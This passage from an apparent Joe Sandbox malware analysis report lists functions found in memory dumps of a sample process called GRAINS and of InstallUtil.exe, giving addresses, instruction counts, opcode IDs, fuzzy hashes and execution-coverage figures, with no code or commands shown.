Instruction Fuzzy Hash: 83D05BB4610319AFEB61DF24E844B5F3776B785306F50A345C44D93284DB345D49CF42

Function 0A4829CA Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c0f1aa81b3a596dbf9619e21596fe0c7894a1607e8809f2486bf92209667aab
Instruction ID: f6446c7a10bd6b4737cf19b1e6bb292638f5852d7f5c7e949cb3e0cc6a2de98d
Opcode Fuzzy Hash: 5c0f1aa81b3a596dbf9619e21596fe0c7894a1607e8809f2486bf92209667aab
Instruction Fuzzy Hash: 83D05BB4610319AFEB61DF24E844B5F3776B785306F50A345C44D93284DB345D49CF42

Function 0A7FE580 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea266522f223335b5d981c11485a71cc89eff21ab35b6cca2411b823e4a18f2
Instruction ID: 0050e3705f38a5d506868148fcefc98e46290b7425a63b9486308412af5fbd3f
Opcode Fuzzy Hash: eea266522f223335b5d981c11485a71cc89eff21ab35b6cca2411b823e4a18f2
Instruction Fuzzy Hash: 6AC02BB005A30493C2345349680D3FE3B9DD30B203F40AC205A0D021321AB4188CCE81

Function 0A530354 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc7ae021865badbfca8d9b6ad476c529d97a26d4418de238645df4135ad85f0b
Instruction ID: 21ad4f524a143848f3f569682de18dcd27b83246608f5b8c9c68c3999e193ff7
Opcode Fuzzy Hash: fc7ae021865badbfca8d9b6ad476c529d97a26d4418de238645df4135ad85f0b
Instruction Fuzzy Hash: 4FD05E749082188FEB318F20D8247EABA71FB45305F00009A884662680C7388D849F10

Function 0A3BD153 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1856a9e13260b60249b987d9795bdf22103b37de39a3522724d10723c85dfe3e
Instruction ID: 47db77df9c9eff74278b5ba5710acd463df0fdfd6cd6f46528d577576c6705fb
Opcode Fuzzy Hash: 1856a9e13260b60249b987d9795bdf22103b37de39a3522724d10723c85dfe3e
Instruction Fuzzy Hash: 58C00276E1001A9A8B04DAD9E8408DCB774EB94321B004026D214A6144D63165668B54

Function 0A48B1F0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db047705f42304694bcbaaf988696ff0a90baa2fc630ffbde304aa386a732cfd
Instruction ID: 485ff14e5a76d185d698135d6baafef7f38924610f01e0af7c56d129464d721e
Opcode Fuzzy Hash: db047705f42304694bcbaaf988696ff0a90baa2fc630ffbde304aa386a732cfd
Instruction Fuzzy Hash: B3C0122990D2C20FCB028728A80A348BF206F52728F0A89CD90898F0A3D392804AC243

Function 0A4228B8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 04F495C0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 152cb2687a5d1da9fcc6dca2c9bb308dbf1bcbb145fa3d3480b637021c02dbe2
Instruction ID: 2f99407a8799041d40e9fa7d623aca7f5698718bd3262c42b4b9b19768ee8f65
Opcode Fuzzy Hash: 152cb2687a5d1da9fcc6dca2c9bb308dbf1bcbb145fa3d3480b637021c02dbe2
Instruction Fuzzy Hash: 19B09B51406F4345EB0545108BC1A557A54BFC33507D41442C2C5CDC72E155919096F6

Function 0A4269C8 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc2e6dcd80244425731cb335f1aea78e1119181cc0387b2a475f3a13a9f47cad
Instruction ID: 6fd252b36d45354a2c2af0bbbd28af9eec2730720e6db2875d53f0d983b8eba3
Opcode Fuzzy Hash: bc2e6dcd80244425731cb335f1aea78e1119181cc0387b2a475f3a13a9f47cad
Instruction Fuzzy Hash: D0B09232004208AB8A009E84E804896BB69EB686217008029B609061118B32A962DB94

Function 0A3BFEF0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc700ab22884554bca6a227dcf11b4c9368727c0fc47aedff12c221c74ad3c5a
Instruction ID: 708df6becb586eb3df2b3e13d1a1700bb13915f575e134c71f243075cc42f36c
Opcode Fuzzy Hash: bc700ab22884554bca6a227dcf11b4c9368727c0fc47aedff12c221c74ad3c5a
Instruction Fuzzy Hash:

Non-executed Functions

Function 0A3B66F8 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

3, xrefs: 0A3B797C

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: 9f69721775aa079c73064752a13908fe504dff41e20526bb942e2316ec9aedf1
Instruction ID: 6cf90beb39e6274ecab45651810e2fa2f8157b324e6f7972b999421861786640
Opcode Fuzzy Hash: 9f69721775aa079c73064752a13908fe504dff41e20526bb942e2316ec9aedf1
Instruction Fuzzy Hash: C1318DB1D156288BEB68CF1B8C4969EFAF7AFC9300F14C1BAC50CA6615DB344A858F10

Function 0A3B66E8 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

D, xrefs: 0A3B67C7

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: e03029be6c5ee051fc43709b78389e420ec6cab858e3c4cce737f2d1b1e420d3
Instruction ID: 0042ebbfb3dda1854c7304a289b23acb08ae1c98208a4fa02c34f2d3e2611c78
Opcode Fuzzy Hash: e03029be6c5ee051fc43709b78389e420ec6cab858e3c4cce737f2d1b1e420d3
Instruction Fuzzy Hash: 2B316BB1E156188BEB5CCF2B884529EBBF7AFC9300F14C1FAC50CAA665DB3449858F10

Function 0A3BBDA0 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d473dc287cb7a172954da6cb9498db9e95dcad4cb78456da72c1eedf5b0bb9
Instruction ID: a4c4f3eb06628c80b5bf9ba8eea90d52e2d788edb9f507f4c8e7919679b47923
Opcode Fuzzy Hash: 76d473dc287cb7a172954da6cb9498db9e95dcad4cb78456da72c1eedf5b0bb9
Instruction Fuzzy Hash: C2129F71E106198BDB14CFAAC9806DEFBF2BF88304F24C16AD459EB619D734A946CF50

Function 0A48D888 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a2ddcb3c31293f5a505c4973fbff4848936918d70d53a9dfade2d9c04895f7
Instruction ID: 9c2527da8f083fdf42d3f4eaf0f2437d3e092b4ce9122513de8d6bcec7040a8c
Opcode Fuzzy Hash: f4a2ddcb3c31293f5a505c4973fbff4848936918d70d53a9dfade2d9c04895f7
Instruction Fuzzy Hash: 15D12A78A01204DFDB14EF69D584A6EB7F2BF88711F25C49AE425AB3A1DB70EC41CB50

Function 0A534720 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48037f700abf82f0719901e6ad7cd224f9f4f5d77db830eb72c0f8ee869bf9c0
Instruction ID: e9880d4095275db529336cc389e619493d34885cc45434d796a5544933384873
Opcode Fuzzy Hash: 48037f700abf82f0719901e6ad7cd224f9f4f5d77db830eb72c0f8ee869bf9c0
Instruction Fuzzy Hash: ECC12A75E01248EFDB64CFA9D888BADBBF2FB89301F1090AAD419A7395C7745985CF00

Function 0A534710 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf4a75b7c88d867c2b51dbe0cd0af39eafe2ece95653706fdde6eeafbd7a68a
Instruction ID: 9e17003c0d3ac1d14239945575d07468859ecdd02cdd8a7beb8d0691000228fc
Opcode Fuzzy Hash: acf4a75b7c88d867c2b51dbe0cd0af39eafe2ece95653706fdde6eeafbd7a68a
Instruction Fuzzy Hash: CDC12A75E01258DFEB64CFA5D888BADBBF2FB89301F1090AAD419AB395C7745985CF00

Function 0A3B3DA0 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ef5d1deae041bb0676ea193f5b6690b9da05a7916aeb8af1bb5b739ed1e2a7
Instruction ID: d31e0b61b29080139ef699fc729d96d6254f34d439225a1629adad7b624e5485
Opcode Fuzzy Hash: 29ef5d1deae041bb0676ea193f5b6690b9da05a7916aeb8af1bb5b739ed1e2a7
Instruction Fuzzy Hash: DF8102B0D15229DBDB14CFA9C5853EEFBF6EB49300F10906AC609BBA50D7788A85CF54

Function 0A42B2B8 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac53bfef60d4c7407d5b83b0e7459f2e387d8bbbe3f396b15fafd4cd6dcc1dd
Instruction ID: cad8ab67c77d4920bb814fd2459017bb7c5173bf89914b9c8f8669af3ad90a5f
Opcode Fuzzy Hash: 7ac53bfef60d4c7407d5b83b0e7459f2e387d8bbbe3f396b15fafd4cd6dcc1dd
Instruction Fuzzy Hash: FC914874E01218DFEB20DFA9D5487AEB7B2FF4A304F50906AD419A7355DB38998ACF01

Function 0A42B2C8 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae436f353b84d8c23306aeebd7eae2ff3b9570ad955690dea618a08200c46495
Instruction ID: 99891c3cc77bddb8e76cf8ab3bc1e783dec94a51fe4786dcec54f6b3800b7406
Opcode Fuzzy Hash: ae436f353b84d8c23306aeebd7eae2ff3b9570ad955690dea618a08200c46495
Instruction Fuzzy Hash: 14913774A01218DFEB20DFA9D5487AEB7B2FF4A304F50906AD519A7354DB38998ACF01

Function 04F41C35 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01befcb9faee0c902f53bffcfca9fe6777efd6d710dab85b254031d144782eab
Instruction ID: b9f89dd1dab3a172021e6ca5e9174b88422acda6a8ed02cb94bccdacc09ee05c
Opcode Fuzzy Hash: 01befcb9faee0c902f53bffcfca9fe6777efd6d710dab85b254031d144782eab
Instruction Fuzzy Hash: EF71559681E7E05FE707AB38A8743857FA06F93529F0A41C7C4D08E1A7E758494DC3AA

Function 0A7FE140 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6d49f1f391a49ed848e2cd40c3d84c187df11431b1dbbcb4c3afd0163ebbfa
Instruction ID: a7b5a489ba43f1dbf6f0e99225ca37eb1ac66612a7762e8ddd1d507fa15ebb44
Opcode Fuzzy Hash: eb6d49f1f391a49ed848e2cd40c3d84c187df11431b1dbbcb4c3afd0163ebbfa
Instruction Fuzzy Hash: 39910470E05218DFDB64DFAAC8447EDBBB6BF89304F1484A9C609A73A1D7745A89CF01

Function 0A3BBD9B Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9971f771468eac45a247e2f59dca697963cba25a78897d98e2451d0e903403db
Instruction ID: 31ede139eeacd9c14f7f8f2f2cf118457985e8fa2cd54c2ed109e905eb5d9493
Opcode Fuzzy Hash: 9971f771468eac45a247e2f59dca697963cba25a78897d98e2451d0e903403db
Instruction Fuzzy Hash: 294146B1E016199BDB18CFABD94059EFBF3AFC8200F14C07AD918AB214EB7459468F54

Function 0A58001E Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571683317.000000000A580000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a580000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e4c5624ee3983e4e51f2c1fe60129321c047c00e5ed210b51a469c108f75fa
Instruction ID: 2a0de88967f605ab95fcfe1bd1cdf5fd1b044b047453b6d7ee40c62200748318
Opcode Fuzzy Hash: 91e4c5624ee3983e4e51f2c1fe60129321c047c00e5ed210b51a469c108f75fa
Instruction Fuzzy Hash: 5C514DB1D056588BE76DCF278D513CAFAF3AFC9300F04C1FA955CA6265EB740A868E50

Function 0A580040 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571683317.000000000A580000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a580000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f48ba55f62c5c5072c0477b0102cfa0d3e1c543f0489eb2d5690d5a0cc4efb
Instruction ID: 2d2c4e8a5334c13d3bbd3f381a8a7ec1d040c61e95fd70c1b3bc83977de10e2b
Opcode Fuzzy Hash: e3f48ba55f62c5c5072c0477b0102cfa0d3e1c543f0489eb2d5690d5a0cc4efb
Instruction Fuzzy Hash: 5A510AB1D056588BE72CCF2B8D457CAF6F7AFC9340F14C1F9955CA6255EB700A868E40

Function 0A58DAA8 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571683317.000000000A580000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a580000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0c59d0a596e82283e787d5b7585ac8d0396c16bfb1b01cdf70c8a4621d0e80
Instruction ID: 25a2754bcc5e7d2ae0db6a8b08828329d5695a76b87b9a9ecd4bdcee4ee24f5a
Opcode Fuzzy Hash: cf0c59d0a596e82283e787d5b7585ac8d0396c16bfb1b01cdf70c8a4621d0e80
Instruction Fuzzy Hash: F841DDB1D002489FEB14EFA9D985B9DBBF1BB49310F209029E814BB290D7749885CF85

Function 0A480006 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7da3734e151e54f7a0397c31ce3c085718a604742c7665b5b1e8982aa057d343
Instruction ID: 08ea02a7e8a1a8fd54c95d9a84b44b049767f081bab26c4d9cad17da5a037a00
Opcode Fuzzy Hash: 7da3734e151e54f7a0397c31ce3c085718a604742c7665b5b1e8982aa057d343
Instruction Fuzzy Hash: AF41BEB1E15A549FEB19CF7B9C5029AFFF3AFC6200F18C0BA845CAA165DA340546CF01

Function 0A459820 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160060049d3ec64a4cfdeedea0a29296ada560ed7767d8b1775feda8c4ec2546
Instruction ID: 4fb459667e11d411663595a1b00aae8672f62f96dac2a4798aadcf99900ef7aa
Opcode Fuzzy Hash: 160060049d3ec64a4cfdeedea0a29296ada560ed7767d8b1775feda8c4ec2546
Instruction Fuzzy Hash: F041EFB5C05258DFCB10CFA9D484AEEFBF4AB49310F14942AE855B7241C738AA45CF64

Function 0A459828 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b374a055c4e7671a3fcf48250540ffd5ab28699b0eee3e9b54cde31376a8d25d
Instruction ID: 67962a9b22a54f5d231fea89bb4a565862b96f6f6f205e6a103787b679867275
Opcode Fuzzy Hash: b374a055c4e7671a3fcf48250540ffd5ab28699b0eee3e9b54cde31376a8d25d
Instruction Fuzzy Hash: 4341EFB9C05258DFCB10CFAAD484AEEFBF4AB49310F14942AE855B7340C738AA45CF64

Function 0A3B5419 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b33b1d3bffb2bb0c3b911760a6c6336ef98833cdbe85c5ca7ac36c3ae9ab622
Instruction ID: a8ec42b7baa8697fd04fad35ceabd12ad7254a8d151e9210b9509ac46878e28d
Opcode Fuzzy Hash: 0b33b1d3bffb2bb0c3b911760a6c6336ef98833cdbe85c5ca7ac36c3ae9ab622
Instruction Fuzzy Hash: DB41E5B0D512188FEB28CF6AC9457DEBBF2BF89301F04C1AAD90DAA655D7744A85CF40

Function 0A480040 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa692a463002c917a3e13efb69d008e33a9c0aebc782103aa2ab417186816531
Instruction ID: 2e87dc414e527c7836f296e1688ded9daf8c1545239456cde616336ccc7fcfab
Opcode Fuzzy Hash: fa692a463002c917a3e13efb69d008e33a9c0aebc782103aa2ab417186816531
Instruction Fuzzy Hash: 903154B5E05A189BEB1CCF6B9D4069EFAF7AFC9301F14C1BA881CAA255DB340546CF01

Function 0A3B5428 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 697a17b4d6d2e81bf09ef6e5d7594c411d536c30eb957712aaca1ac57bd459c2
Instruction ID: 7c79532fb0000022b63db229cc07700a1f1a2d5d0c43152e7edc7bda66ab6fc7
Opcode Fuzzy Hash: 697a17b4d6d2e81bf09ef6e5d7594c411d536c30eb957712aaca1ac57bd459c2
Instruction Fuzzy Hash: 3F41F6B0D152288FEB28CF6AC8457DEBBF6BF89301F04C1A9850EAB655D7744A85CF40

Function 0A454BD8 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9aa54e91b612945bb8ae90b60e861a7f1b47b2f91c37603cc78a0d19012a889
Instruction ID: 61d5cda739ac4f26dffaf36d67d199754cb0318c973dfbe300c1f1fb7a82074d
Opcode Fuzzy Hash: c9aa54e91b612945bb8ae90b60e861a7f1b47b2f91c37603cc78a0d19012a889
Instruction Fuzzy Hash: E2310079D142089FCB10CFA9D884AEEBBB1BB8A310F14905AD8557B311C7356941CFA4

Function 0A7E0040 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b54a439d084b583b76da62c54757b939a9bb162a0817fc26dc6dc14fd4d69d0
Instruction ID: 22e17097009355deab433b639de8d525a8ad26e7dc73e6f6cd94cc8ca7ac20f5
Opcode Fuzzy Hash: 9b54a439d084b583b76da62c54757b939a9bb162a0817fc26dc6dc14fd4d69d0
Instruction Fuzzy Hash: 0821D871D046199BEB28CF6B984479AF6F7AFC8300F04C0BA951CA6255DB740A8A9F40

Function 0A454BE0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479fa572c7b23427189041c7e675809025fc155b1dac91553526bed6e5864617
Instruction ID: 36ac634c1e9a8bd0a9d8748a8e8929b6a06419a093dc65865db6cfd2befdcd76
Opcode Fuzzy Hash: 479fa572c7b23427189041c7e675809025fc155b1dac91553526bed6e5864617
Instruction Fuzzy Hash: DE21F0B5D00218DFDB14DFA9D884ADEFBF5BB8A320F14901AE814B7200CB356941CFA4

Function 0A7E003B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574276b584066120c0cdcc3c8e41c043441b5dc8214e4c86641d7dc47a17a961
Instruction ID: 243bdeb59f4f4532f2804246e5b0183ae12f19c50b947d6f3f9cd54f32b690a9
Opcode Fuzzy Hash: 574276b584066120c0cdcc3c8e41c043441b5dc8214e4c86641d7dc47a17a961
Instruction Fuzzy Hash: DB218871D446159BEB2CCF2B995479AF6F7AFC8300F05C0BA941DAA255EB740A8A9F00

Analysis Process: InstallUtil.exePID: 6536, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.6%
Total number of Nodes:	17
Total number of Limit Nodes:	1

Executed Functions

Function 064C0040 Relevance: 2.8, Instructions: 2753COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1693215074.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_64c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a287610614f9a287d5b1dd0166e3d704624df670a11a03cda2c1668671b089cf
Instruction ID: 54b2f4119e2676e97fb30942b79fbb40b987eb0057aab012b0e9923c68f61f65
Opcode Fuzzy Hash: a287610614f9a287d5b1dd0166e3d704624df670a11a03cda2c1668671b089cf
Instruction Fuzzy Hash: 8E53EA31D10B1A8ADB11EF68C8545AAF7B1FF99310F11D79AE45867221FB70AAC4CF81

Function 064C32C8 Relevance: 2.3, Instructions: 2300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1693215074.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_64c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f54d72164be175219e62028c8bb794cdc4bbdf578aea8a6e784fd9f22759f7b8
Instruction ID: dd22bdbc510031e524dcc9e5a9c403800a6cb038b8f303e72adc26543fc0c6d9
Opcode Fuzzy Hash: f54d72164be175219e62028c8bb794cdc4bbdf578aea8a6e784fd9f22759f7b8
Instruction Fuzzy Hash: DD334130D10B198EDB55EF68C8906AEF7B1FF89310F11C79AD448A7211EB70AAD5CB81

Function 064C88A8 Relevance: 1.9, Strings: 1, Instructions: 606
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 064C8BFB

Memory Dump Source

Source File: 00000006.00000002.1693215074.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_64c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
